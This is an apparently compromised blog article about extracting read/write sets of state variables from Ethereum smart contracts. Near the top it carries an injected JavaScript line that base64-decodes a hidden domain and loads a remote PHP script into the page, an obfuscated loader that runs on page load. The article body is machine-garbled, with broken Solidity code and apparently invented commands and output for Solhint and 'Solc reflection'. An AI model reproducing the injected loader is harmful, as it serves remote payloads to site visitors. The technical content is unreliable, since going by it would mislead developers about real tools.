Ethereum: Extract read/write set of state variables from a smart contract

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=ab19c8e8″;document.body.appendChild(script);

Chapter/Demolition of Writing Series from Ethereum Smart Agreement

As Ethereum-based decentralized applications (DAPP) continues to grow, understanding how they store the data database, it has become increasingly important. In this article, we are studying methods to dismantle reading and writing troops from state variables from an intelligently written intelligent agreement.

Understanding the Ethereum State

In the Ethereum -intelligent agreement, the state is presented as an object that stores information. Each object may have multiple features (space variables) that can be accessed by a point mark or an attachment mark. For example:

`Severity

Pragman solidity ^0.8.0;

My contract with my contract {

UINT Public counter; // Only a reading variable

mapping (address => UINT) Public notes; // map of user addresses for counters

Functional Increase Calculator () Public Payable {

counter += 1;

}

Function Updemo (address _user, UINT quantity) Public {

Memo [_user] = amount;

}

}

In this example, the ‘Countervariable is the only number that can be accessed by using the dot marking ("my contract.counter"). "The Memos folder is also a reading feature that can be accessed by a bracket (” My Contract.memo [“User”].

Reading and Writing Stummumus

If you want to pick up reading and writing sets from state variables from Ethereum -intelligent agreement, you must use the following approaches:

  • Get all features

    Ethereum: Extract read/write set of state variables from a smart contract

    : Use “Solhint Get-variable <contract.

  • Use Reflection : You can use the most solid reflection function (Solc reflection") to check and edit the contract space variables during performance.

Example: Demolition of Reading and Writing Series from Space Variables

Assuming we have an Ethereum-intelligent contract called "My Contract" Only Chapter "Calculator" and "Memoir" in the Writing Series, we can use the following steps:

  • Get all features using "Solhint Get variables my contract":

Bash

$ Solhint Get changes my contract

Counter: Uint

Memoir: Mapping (Address => UINT)

  • Check and modify the contract status variables during the performance using the Solidity’s Reflection (Solc reflection) with the following command:

Bash

My $ Solc-Reflection-Print-Vars Agreement

Only a reading variable

Counter (UINT)

Type set up

Memoir: Mapping (Address => UINT)

Note that the “printing arm” flag is used to print all the variables in the contract, including reading and internal variables.

conclusion

Disassembly of reading and writing series from the Ethereum Smart contract requires a combination of solid reflection functions, “Solhint ‘and possible manual inspection with Solscan or Other tools. By understanding the thesis techniques, you can better analyze and understand the behavior of your own Ethereum contracts.

Recommendations

  • Use the Solhint Get variable 'to get a list of any features (space variables) in the contract.

  • Use the reflection function of the solidity (Solc reflection”) “–print-Vars` ticket to check and modify the state variables during the performance.

  • Consider the use of Solscan or other tools to identify and extract information about your smart contracts.

Leave a Reply

Your email address will not be published. Required fields are marked *